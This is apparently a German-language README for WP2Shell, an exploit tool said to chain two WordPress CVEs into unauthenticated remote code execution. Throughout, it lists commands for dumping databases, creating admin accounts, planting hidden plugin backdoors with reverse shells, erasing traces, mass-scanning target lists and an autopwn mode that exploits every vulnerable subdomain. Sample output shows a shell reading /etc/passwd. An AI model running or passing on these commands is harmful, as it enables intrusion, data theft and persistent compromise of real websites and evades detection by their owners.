WP2Shell - WordPress-Pre-Auth-RCE-Exploit

CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Autor: G0D150NE

📌 Übersicht

WP2Shell ist ein Full-Chain-Exploit-Tool für die Remote-Codeausführung bei WordPress ohne vorherige Authentifizierung. Es kombiniert zwei kritische Schwachstellen:

CVE-2026-63030 - SQL-Injection im Batch-Endpunkt der REST-API
CVE-2026-60137 - Authentifizierungsumgehung per oEmbed-Cache-Poisoning

Dieses Tool ermöglicht die vollständige Kompromittierung verwundbarer WordPress-Installationen ohne jegliche Authentifizierung - von der Erkennung bis hin zu vollständiger RCE und Persistenz.

⚡ Funktionen

🔍 Zerstörungsfreie Prüfung - Sichere Bestätigung von Schwachstellen
📊 Extraktion mit mehreren Techniken - UNION, error-basiert, Blind-SQLi
🚀 Vollständige RCE-Kette - Von SQLi bis zur Erstellung eines Admin-Kontos
🐚 Webshell-Bereitstellung - Versteckter Backdoor auf Plugin-Basis
🧹 Cleanup-Funktion - Entfernt alle Spuren
📡 Massen-Scanning - Multithread-Scanner für mehrere Ziele
🤖 Autopwn-Modus - Subdomain-Erkennung + automatische Ausnutzung
🌐 Proxy-Rotation - Unterstützung für rotierende Proxys
🕵️ Stealth-Modus - Zufällige Verzögerungen und WAF-Bypass-Techniken

🔧 Installation

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Verwendung

Befehlsstruktur

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Verfügbare Befehle

Befehl	Beschreibung
`check`	Zerstörungsfreie Bestätigung von Schwachstellen
`read`	Daten per SQL-Injection extrahieren
`exploit`	Vollständige Pre-Auth-RCE-Kette
`shell`	Webshell mit vorhandenen Anmeldedaten bereitstellen
`masscan`	Mehrere Ziele massenhaft scannen
`autopwn`	Automatische Erkennung → Scan → Exploit

🚀 Beispiele

1. Schwachstellenprüfung

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Datenextraktion

Basis-Fingerprint:

python3 wp2shell.py read https://target.com

Benutzer extrahieren:

python3 wp2shell.py read https://target.com --preset users

Benutzerdefinierte Abfrage:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Gesamte Datenbank dumpen:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Vollständige Ausnutzung

Basis-Exploit:

python3 wp2shell.py exploit https://target.com

Exploit mit interaktiver Shell:

python3 wp2shell.py exploit https://target.com --interactive

Exploit mit Backdoor-Installation:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit mit Datenbank-Dump:

python3 wp2shell.py exploit https://target.com --dumpdb

Exploit mit Cleanup (Spuren entfernen):

python3 wp2shell.py exploit https://target.com --cleanup

4. Verwendung vorhandener Admin-Anmeldedaten

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Massen-Scanning

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Autopwn-Modus (Vollautomatisierung)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Dabei wird Folgendes durchgeführt:

Subdomains über crt.sh ermitteln
WordPress-Installationen identifizieren
Alle verwundbaren Websites ausnutzen
Backdoors auf erfolgreich kompromittierten Zielen installieren

🎮 Interaktive Shell

Nach der Ausnutzung erhalten Sie eine vollständige interaktive Shell:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Optionen-Referenz

Allgemeine Optionen

Option	Beschreibung
`--timeout`	HTTP-Timeout in Sekunden (Standard: 30)
`--proxies`	Kommagetrennte Proxy-Liste (z. B. http://127.0.0.1:8080)
`--stealth`	Stealth-Modus mit zufälligen Verzögerungen aktivieren
`-v, --verbose`	Debug-Ausgabe aktivieren
`-q, --quiet`	Banner- und Informationsmeldungen unterdrücken

Optionen für den Befehl „read"

Option	Beschreibung
`--prefix`	Tabellenpräfix (Standard: wp_)
`--auto-prefix`	Tabellenpräfix automatisch ermitteln
`--max-length`	Maximale Zeichen pro Wert (Standard: 128)
`--technique`	Extraktionstechnik: auto/union/error/blind
`--preset`	Datenvoreinstellung: fingerprint/users/dumpall
`--query`	Beliebiger SQL-Ausdruck zum Extrahieren

Optionen für den Befehl „exploit"

Option	Beschreibung
`--prefix`	Tabellenpräfix (Standard: wp_)
`--no-discover`	Automatische Erkennung überspringen, Standardwerte verwenden
`-i, --interactive`	Nach der Ausnutzung eine Shell öffnen
`-c, --command`	Nach der Ausnutzung einen einzelnen Befehl ausführen
`--backdoor`	Persistenz-Backdoor installieren
`--lhost`	LHOST für Reverse-Shell (Standard: 10.0.0.1)
`--lport`	LPORT für Reverse-Shell (Standard: 4444)
`--dumpdb`	Datenbank nach der Ausnutzung dumpen
`--cleanup`	Erstellten Benutzer und Webshell beim Beenden löschen

🔬 Technische Details

Schwachstellenkette

SQL-Injection (CVE-2026-63030)
- Tritt im Endpunkt /wp-json/batch/v1 auf
- Der Parameter author_exclude ist anfällig für zeitbasierte Blind-SQLi
- Ermöglicht UNION- und error-basierte Extraktion
Authentifizierungsumgehung (CVE-2026-60137)
- oEmbed-Cache-Poisoning über den /_embed-Parameter
- Ermöglicht die Erstellung von Admin-Benutzern über Customizer-Changeset
- Löst eine Re-Entry-Kette zur Erstellung privilegierter Konten aus

Unterstützte WordPress-Versionen

Version	Status
6.9.0	✅ Verwundbar
6.9.1	✅ Verwundbar
6.9.2	✅ Verwundbar
6.9.3	✅ Verwundbar
6.9.4	✅ Verwundbar
7.0.0	✅ Verwundbar
7.0.1	✅ Verwundbar
≥ 7.0.2	❌ Behoben

Extraktionstechniken

Technik	Geschwindigkeit	Datengröße	Anforderungen
UNION	⚡ Sehr schnell	Unbegrenzt	Ziel darf UNION nicht filtern
Error	🚀 Schnell	~30 Zeichen/Anfrage	Ziel muss Fehlermeldungen ausgeben
Blind	🐢 Langsam	Unbegrenzt	Boolesches Orakel verfügbar

📊 Ausgabebeispiele

Erfolgreiche Ausnutzung

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

WP2Shell

Beliebteste